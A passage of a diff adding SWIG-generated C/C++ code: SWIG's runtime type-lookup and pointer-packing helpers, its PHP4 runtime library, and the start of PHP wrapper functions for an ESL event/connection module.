+    if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1;
+  }
+  return (int)((l1 - f1) - (l2 - f2));
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if not equal, 1 if equal
+*/
+SWIGRUNTIME int
+SWIG_TypeEquiv(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if equal, -1 if nb < tb, 1 if nb > tb
+*/
+SWIGRUNTIME int
+SWIG_TypeCompare(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+
+/* think of this as a c++ template<> or a scheme macro */
+#define SWIG_TypeCheck_Template(comparison, ty)         \
+  if (ty) {                                             \
+    swig_cast_info *iter = ty->cast;                    \
+    while (iter) {                                      \
+      if (comparison) {                                 \
+        if (iter == ty->cast) return iter;              \
+        /* Move iter to the top of the linked list */   \
+        iter->prev->next = iter->next;                  \
+        if (iter->next)                                 \
+          iter->next->prev = iter->prev;                \
+        iter->next = ty->cast;                          \
+        iter->prev = 0;                                 \
+        if (ty->cast) ty->cast->prev = iter;            \
+        ty->cast = iter;                                \
+        return iter;                                    \
+      }                                                 \
+      iter = iter->next;                                \
+    }                                                   \
+  }                                                     \
+  return 0
+
+/*
+  Check the typename
+*/
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(strcmp(iter->type->name, c) == 0, ty);
+}
+
+/* Same as previous function, except strcmp is replaced with a pointer comparison */
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *into) {
+  SWIG_TypeCheck_Template(iter->type == from, into);
+}
+
+/*
+  Cast a pointer up an inheritance hierarchy
+*/
+SWIGRUNTIMEINLINE void *
+SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) {
+  return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory);
+}
+
+/* 
+   Dynamic pointer casting. Down an inheritance hierarchy
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) {
+  swig_type_info *lastty = ty;
+  if (!ty || !ty->dcast) return ty;
+  while (ty && (ty->dcast)) {
+    ty = (*ty->dcast)(ptr);
+    if (ty) lastty = ty;
+  }
+  return lastty;
+}
+
+/*
+  Return the name associated with this type
+*/
+SWIGRUNTIMEINLINE const char *
+SWIG_TypeName(const swig_type_info *ty) {
+  return ty->name;
+}
+
+/*
+  Return the pretty name associated with this type,
+  that is an unmangled type name in a form presentable to the user.
+*/
+SWIGRUNTIME const char *
+SWIG_TypePrettyName(const swig_type_info *type) {
+  /* The "str" field contains the equivalent pretty names of the
+     type, separated by vertical-bar characters.  We choose
+     to print the last name, as it is often (?) the most
+     specific. */
+  if (!type) return NULL;
+  if (type->str != NULL) {
+    const char *last_name = type->str;
+    const char *s;
+    for (s = type->str; *s; s++)
+      if (*s == '|') last_name = s+1;
+    return last_name;
+  }
+  else
+    return type->name;
+}
+
+/* 
+   Set the clientdata field for a type
+*/
+SWIGRUNTIME void
+SWIG_TypeClientData(swig_type_info *ti, void *clientdata) {
+  swig_cast_info *cast = ti->cast;
+  /* if (ti->clientdata == clientdata) return; */
+  ti->clientdata = clientdata;
+  
+  while (cast) {
+    if (!cast->converter) {
+      swig_type_info *tc = cast->type;
+      if (!tc->clientdata) {
+	SWIG_TypeClientData(tc, clientdata);
+      }
+    }    
+    cast = cast->next;
+  }
+}
+SWIGRUNTIME void
+SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) {
+  SWIG_TypeClientData(ti, clientdata);
+  ti->owndata = 1;
+}
+  
+/*
+  Search for a swig_type_info structure only by mangled name
+  Search is a O(log #types)
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_MangledTypeQueryModule(swig_module_info *start, 
+                            swig_module_info *end, 
+		            const char *name) {
+  swig_module_info *iter = start;
+  do {
+    if (iter->size) {
+      register size_t l = 0;
+      register size_t r = iter->size - 1;
+      do {
+	/* since l+r >= 0, we can (>> 1) instead (/ 2) */
+	register size_t i = (l + r) >> 1; 
+	const char *iname = iter->types[i]->name;
+	if (iname) {
+	  register int compare = strcmp(name, iname);
+	  if (compare == 0) {	    
+	    return iter->types[i];
+	  } else if (compare < 0) {
+	    if (i) {
+	      r = i - 1;
+	    } else {
+	      break;
+	    }
+	  } else if (compare > 0) {
+	    l = i + 1;
+	  }
+	} else {
+	  break; /* should never happen */
+	}
+      } while (l <= r);
+    }
+    iter = iter->next;
+  } while (iter != end);
+  return 0;
+}
+
+/*
+  Search for a swig_type_info structure for either a mangled name or a human readable name.
+  It first searches the mangled names of the types, which is a O(log #types)
+  If a type is not found it then searches the human readable names, which is O(#types).
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeQueryModule(swig_module_info *start, 
+                     swig_module_info *end, 
+		     const char *name) {
+  /* STEP 1: Search the name field using binary search */
+  swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name);
+  if (ret) {
+    return ret;
+  } else {
+    /* STEP 2: If the type hasn't been found, do a complete search
+       of the str field (the human readable name) */
+    swig_module_info *iter = start;
+    do {
+      register size_t i = 0;
+      for (; i < iter->size; ++i) {
+	if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name)))
+	  return iter->types[i];
+      }
+      iter = iter->next;
+    } while (iter != end);
+  }
+  
+  /* neither found a match */
+  return 0;
+}
+
+/* 
+   Pack binary data into a string
+*/
+SWIGRUNTIME char *
+SWIG_PackData(char *c, void *ptr, size_t sz) {
+  static const char hex[17] = "0123456789abcdef";
+  register const unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu =  u + sz;
+  for (; u != eu; ++u) {
+    register unsigned char uu = *u;
+    *(c++) = hex[(uu & 0xf0) >> 4];
+    *(c++) = hex[uu & 0xf];
+  }
+  return c;
+}
+
+/* 
+   Unpack binary data from a string
+*/
+SWIGRUNTIME const char *
+SWIG_UnpackData(const char *c, void *ptr, size_t sz) {
+  register unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu = u + sz;
+  for (; u != eu; ++u) {
+    register char d = *(c++);
+    register unsigned char uu;
+    if ((d >= '0') && (d <= '9'))
+      uu = ((d - '0') << 4);
+    else if ((d >= 'a') && (d <= 'f'))
+      uu = ((d - ('a'-10)) << 4);
+    else 
+      return (char *) 0;
+    d = *(c++);
+    if ((d >= '0') && (d <= '9'))
+      uu |= (d - '0');
+    else if ((d >= 'a') && (d <= 'f'))
+      uu |= (d - ('a'-10));
+    else 
+      return (char *) 0;
+    *u = uu;
+  }
+  return c;
+}
+
+/* 
+   Pack 'void *' into a string buffer.
+*/
+SWIGRUNTIME char *
+SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) {
+  char *r = buff;
+  if ((2*sizeof(void *) + 2) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,&ptr,sizeof(void *));
+  if (strlen(name) + 1 > (bsz - (r - buff))) return 0;
+  strcpy(r,name);
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      *ptr = (void *) 0;
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sizeof(void *));
+}
+
+SWIGRUNTIME char *
+SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) {
+  char *r = buff;
+  size_t lname = (name ? strlen(name) : 0);
+  if ((2*sz + 2 + lname) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  if (lname) {
+    strncpy(r,name,lname+1);
+  } else {
+    *r = 0;
+  }
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      memset(ptr,0,sz);
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sz);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ * See the LICENSE file for information on copyright, usage and redistribution
+ * of SWIG, and the README file for authors - http://www.swig.org/release.html.
+ *
+ * php4run.swg
+ *
+ * PHP4 runtime library
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+#include "zend.h"
+#include "zend_API.h"
+#include "php.h"
+
+#ifdef ZEND_RAW_FENTRY
+/* ZEND_RAW_FENTRY was added somewhere between 5.2.0 and 5.2.3 */
+# define SWIG_ZEND_NAMED_FE(ZN, N, A) ZEND_RAW_FENTRY((char*)#ZN, N, A, 0)
+#else
+/* This causes warnings from GCC >= 4.2 (assigning a string literal to char*).
+ * But this seems to be unavoidable without directly assuming knowledge of
+ * the structure, which changed between PHP4 and PHP5. */
+# define SWIG_ZEND_NAMED_FE(ZN, N, A) ZEND_NAMED_FE(ZN, N, A)
+#endif
+
+#define SWIG_LONG_CONSTANT(N, V) zend_register_long_constant((char*)#N, sizeof(#N), V, CONST_CS | CONST_PERSISTENT, module_number TSRMLS_CC)
+#define SWIG_DOUBLE_CONSTANT(N, V) zend_register_double_constant((char*)#N, sizeof(#N), V, CONST_CS | CONST_PERSISTENT, module_number TSRMLS_CC)
+#define SWIG_STRING_CONSTANT(N, V) zend_register_stringl_constant((char*)#N, sizeof(#N), V, strlen(V), CONST_CS | CONST_PERSISTENT, module_number TSRMLS_CC)
+#define SWIG_CHAR_CONSTANT(N, V) do {\
+    static char swig_char = (V);\
+    zend_register_stringl_constant((char*)#N, sizeof(#N), &swig_char, 1, CONST_CS | CONST_PERSISTENT, module_number TSRMLS_CC);\
+} while (0)
+
+/* These TSRMLS_ stuff should already be defined now, but with older php under
+   redhat are not... */
+#ifndef TSRMLS_D
+#define TSRMLS_D
+#endif
+#ifndef TSRMLS_DC
+#define TSRMLS_DC
+#endif
+#ifndef TSRMLS_C
+#define TSRMLS_C
+#endif
+#ifndef TSRMLS_CC
+#define TSRMLS_CC
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+/* But in fact SWIG_ConvertPtr is the native interface for getting typed
+   pointer values out of zvals.  We need the TSRMLS_ macros for when we
+   make PHP type calls later as we handle php resources */
+#define SWIG_ConvertPtr(obj,pp,type,flags) SWIG_ZTS_ConvertPtr(obj,pp,type,flags TSRMLS_CC)
+
+
+#define SWIG_fail goto fail
+
+static const char *default_error_msg = "Unknown error occurred";
+static int default_error_code = E_ERROR;
+
+#define SWIG_PHP_Arg_Error_Msg(argnum,extramsg) "Error in argument " #argnum " "#extramsg
+
+#define SWIG_PHP_Error(code,msg) do { SWIG_ErrorCode() = code; SWIG_ErrorMsg() = msg; SWIG_fail; } while (0)
+
+#define SWIG_contract_assert(expr,msg) \
+  if (!(expr) ) { zend_printf("Contract Assert Failed %s\n",msg ); } else
+
+/* Standard SWIG API */
+#define SWIG_GetModule(clientdata) SWIG_Php4_GetModule()
+#define SWIG_SetModule(clientdata, pointer) SWIG_Php4_SetModule(pointer)
+
+/* used to wrap returned objects in so we know whether they are newobject
+   and need freeing, or not */
+typedef struct _swig_object_wrapper {
+  void * ptr;
+  int newobject;
+} swig_object_wrapper;
+
+/* empty zend destructor for types without one */
+static ZEND_RSRC_DTOR_FUNC(SWIG_landfill) { (void)rsrc; }
+
+#define SWIG_SetPointerZval(a,b,c,d) SWIG_ZTS_SetPointerZval(a,b,c,d TSRMLS_CC)
+
+static void
+SWIG_ZTS_SetPointerZval(zval *z, void *ptr, swig_type_info *type, int newobject TSRMLS_DC) {
+  swig_object_wrapper *value=NULL;
+  /*
+   * First test for Null pointers.  Return those as PHP native NULL
+   */
+  if (!ptr ) {
+    ZVAL_NULL(z);
+    return;
+  }
+  if (type->clientdata) {
+    if (! (*(int *)(type->clientdata)))
+      zend_error(E_ERROR, "Type: %s failed to register with zend",type->name);
+    value=(swig_object_wrapper *)emalloc(sizeof(swig_object_wrapper));
+    value->ptr=ptr;
+    value->newobject=newobject;
+    ZEND_REGISTER_RESOURCE(z, value, *(int *)(type->clientdata));
+    return;
+  }
+  zend_error(E_ERROR, "Type: %s not registered with zend",type->name);
+}
+
+/* This pointer conversion routine takes the native pointer p (along with
+   its type name) and converts it by calling appropriate casting functions
+   according to ty.  The resultant pointer is returned, or NULL is returned
+   if the pointer can't be cast.
+
+   Sadly PHP has no API to find a type name from a type id, only from an
+   instance of a resource of the type id, so we have to pass type_name as well.
+
+   The two functions which might call this are:
+   SWIG_ZTS_ConvertResourcePtr which gets the type name from the resource
+   and the registered zend destructors for which we have one per type each
+   with the type name hard wired in. */
+static void *
+SWIG_ZTS_ConvertResourceData(void * p, const char *type_name, swig_type_info *ty TSRMLS_DC) {
+  swig_cast_info *tc;
+  void *result = 0;
+
+  if (!ty) {
+    /* They don't care about the target type, so just pass on the pointer! */
+    return p;
+  }
+
+  if (! type_name) {  
+    /* can't convert p to ptr type ty if we don't know what type p is */
+    return NULL;
+  }
+
+  /* convert and cast p from type_name to ptr as ty. */
+  tc = SWIG_TypeCheck(type_name, ty);
+  if (tc) {
+    int newmemory = 0;
+    result = SWIG_TypeCast(tc, p, &newmemory);
+    assert(!newmemory); /* newmemory handling not yet implemented */
+  }
+  return result;
+}
+
+/* This function returns a pointer of type ty by extracting the pointer
+   and type info from the resource in z.  z must be a resource.
+   If it fails, NULL is returned.
+   It uses SWIG_ZTS_ConvertResourceData to do the real work. */
+static void *
+SWIG_ZTS_ConvertResourcePtr(zval *z, swig_type_info *ty, int flags TSRMLS_DC) {
+  swig_object_wrapper *value;
+  void *p;
+  int type;
+  char *type_name;
+
+  value = (swig_object_wrapper *) zend_list_find(z->value.lval, &type);
+  if ( flags && SWIG_POINTER_DISOWN ) {
+    value->newobject = 0;
+  }
+  p = value->ptr;
+  if (type==-1) return NULL;
+
+  type_name=zend_rsrc_list_get_rsrc_type(z->value.lval TSRMLS_CC);
+
+  return SWIG_ZTS_ConvertResourceData(p, type_name, ty TSRMLS_CC);
+}
+
+/* We allow passing of a RESOURCE pointing to the object or an OBJECT whose
+   _cPtr is a resource pointing to the object */
+static int
+SWIG_ZTS_ConvertPtr(zval *z, void **ptr, swig_type_info *ty, int flags TSRMLS_DC) {
+  if (z == NULL) {
+    *ptr = 0;
+    return 0;
+  }
+
+  switch (z->type) {
+    case IS_OBJECT: {
+      zval ** _cPtr;
+      if (zend_hash_find(HASH_OF(z),(char*)"_cPtr",sizeof("_cPtr"),(void**)&_cPtr)==SUCCESS) {
+	if ((*_cPtr)->type==IS_RESOURCE) {
+	  *ptr = SWIG_ZTS_ConvertResourcePtr(*_cPtr, ty, flags TSRMLS_CC);
+	  return (*ptr == NULL ? -1 : 0);
+	}
+      }
+      break;
+    }
+    case IS_RESOURCE:
+      *ptr = SWIG_ZTS_ConvertResourcePtr(z, ty, flags TSRMLS_CC);
+      return (*ptr == NULL ? -1 : 0);
+    case IS_NULL:
+      *ptr = 0;
+      return 0;
+  }
+
+  return -1;
+}
+
+static char const_name[] = "swig_runtime_data_type_pointer";
+static swig_module_info *SWIG_Php4_GetModule() {
+  zval *pointer;
+  swig_module_info *ret = 0;
+
+  MAKE_STD_ZVAL(pointer);
+
+  TSRMLS_FETCH();
+
+  if (zend_get_constant(const_name, sizeof(const_name), pointer TSRMLS_CC)) {
+    if (pointer->type == IS_LONG) {
+      ret = (swig_module_info *) pointer->value.lval;
+    }
+  } 
+  FREE_ZVAL(pointer);
+  return ret; 
+}
+
+static void SWIG_Php4_SetModule(swig_module_info *pointer) {
+  TSRMLS_FETCH();
+  REGISTER_MAIN_LONG_CONSTANT(const_name, (long) pointer, 0);
+}
+
+
+/* -------- TYPES TABLE (BEGIN) -------- */
+
+#define SWIGTYPE_p_ESLconnection swig_types[0]
+#define SWIGTYPE_p_ESLevent swig_types[1]
+#define SWIGTYPE_p_esl_event_t swig_types[2]
+#define SWIGTYPE_p_esl_priority_t swig_types[3]
+static swig_type_info *swig_types[5];
+static swig_module_info swig_module = {swig_types, 4, 0, 0, 0, 0};
+#define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name)
+#define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name)
+
+/* -------- TYPES TABLE (END) -------- */
+
+/* header section */
+ZEND_BEGIN_MODULE_GLOBALS(ESL)
+const char *error_msg;
+int error_code;
+ZEND_END_MODULE_GLOBALS(ESL)
+ZEND_DECLARE_MODULE_GLOBALS(ESL)
+#ifdef ZTS
+#define SWIG_ErrorMsg() TSRMG(ESL_globals_id, zend_ESL_globals *, error_msg )
+#define SWIG_ErrorCode() TSRMG(ESL_globals_id, zend_ESL_globals *, error_code )
+#else
+#define SWIG_ErrorMsg() (ESL_globals.error_msg)
+#define SWIG_ErrorCode() (ESL_globals.error_code)
+#endif
+
+static void ESL_init_globals(zend_ESL_globals *globals ) {
+  globals->error_msg = default_error_msg;
+  globals->error_code = default_error_code;
+}
+static void ESL_destroy_globals(zend_ESL_globals * globals) { (void)globals; }
+
+static void SWIG_ResetError() {
+  TSRMLS_FETCH();
+  SWIG_ErrorMsg() = default_error_msg;
+  SWIG_ErrorCode() = default_error_code;
+}
+#define SWIG_name  "ESL"
+#ifdef __cplusplus
+extern "C" {
+#endif
+#include "php.h"
+#include "php_ini.h"
+#include "ext/standard/info.h"
+#include "php_ESL.h"
+#ifdef __cplusplus
+}
+#endif
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */
+
+static swig_type_info _swigt__p_ESLconnection = {"_p_ESLconnection", "ESLconnection *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_ESLevent = {"_p_ESLevent", "ESLevent *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_event_t = {"_p_esl_event_t", "esl_event_t *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_priority_t = {"_p_esl_priority_t", "esl_priority_t *", 0, 0, (void*)0, 0};
+
+static swig_type_info *swig_type_initial[] = {
+  &_swigt__p_ESLconnection,
+  &_swigt__p_ESLevent,
+  &_swigt__p_esl_event_t,
+  &_swigt__p_esl_priority_t,
+};
+
+static swig_cast_info _swigc__p_ESLconnection[] = {  {&_swigt__p_ESLconnection, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_ESLevent[] = {  {&_swigt__p_ESLevent, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_event_t[] = {  {&_swigt__p_esl_event_t, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_priority_t[] = {  {&_swigt__p_esl_priority_t, 0, 0, 0},{0, 0, 0, 0}};
+
+static swig_cast_info *swig_cast_initial[] = {
+  _swigc__p_ESLconnection,
+  _swigc__p_ESLevent,
+  _swigc__p_esl_event_t,
+  _swigc__p_esl_priority_t,
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */
+
+/* end header section */
+/* vdecl subsection */
+static int le_swig__p_esl_priority_t=0; /* handle for _p_esl_priority_t */
+static int le_swig__p_ESLevent=0; /* handle for ESLevent */
+static int le_swig__p_esl_event_t=0; /* handle for _p_esl_event_t */
+static int le_swig__p_ESLconnection=0; /* handle for ESLconnection */
+/* end vdecl subsection */
+/* wrapper section */
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_event_set) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *arg2 = (esl_event_t *) 0 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_event_set. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  {
+    if(SWIG_ConvertPtr(*args[1], (void **) &arg2, SWIGTYPE_p_esl_event_t, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 2 of ESLevent_event_set. Expected SWIGTYPE_p_esl_event_t");
+    }
+  }
+  if (arg1) (arg1)->event = arg2;
+  
+  
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_event_get) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_event_get. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (esl_event_t *) ((arg1)->event);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_esl_event_t, 0);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialized_string_set) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_serialized_string_set. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  {
+    if (arg1->serialized_string) delete [] arg1->serialized_string;
+    if (arg2) {
+      arg1->serialized_string = (char *) (new char[strlen((const char *)arg2)+1]);
+      strcpy((char *)arg1->serialized_string, (const char *)arg2);
+    } else {
+      arg1->serialized_string = 0;
+    }
+  }
+  
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialized_string_get) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_serialized_string_get. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (char *) ((arg1)->serialized_string);
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_mine_set) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int arg2 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_mine_set. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,7,CONVERT_INT_IN@*/
+  convert_to_long_ex(args[1]);
+  arg2 = (int) Z_LVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  if (arg1) (arg1)->mine = arg2;
+  
+  
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_mine_get) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int result;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_mine_get. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (int) ((arg1)->mine);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLevent__SWIG_0) {
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  zval **args[2];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<1 || arg_count>2 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[0]);
+  arg1 = (char *) Z_STRVAL_PP(args[0]);
+  /*@SWIG@*/;
+  
+  if(arg_count > 1) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[1]);
+    arg2 = (char *) Z_STRVAL_PP(args[1]);
+    /*@SWIG@*/;
+    
+  }
+  result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLevent__SWIG_1) {
+  esl_event_t *arg1 = (esl_event_t *) 0 ;
+  int arg2 = (int) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[2];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<1 || arg_count>2 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_esl_event_t, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of new_ESLevent. Expected SWIGTYPE_p_esl_event_t");
+    }
+  }
+  if(arg_count > 1) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,7,CONVERT_INT_IN@*/
+    convert_to_long_ex(args[1]);
+    arg2 = (int) Z_LVAL_PP(args[1]);
+    /*@SWIG@*/;
+    
+  }
+  result = (ESLevent *)new ESLevent(arg1,arg2);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLevent__SWIG_2) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
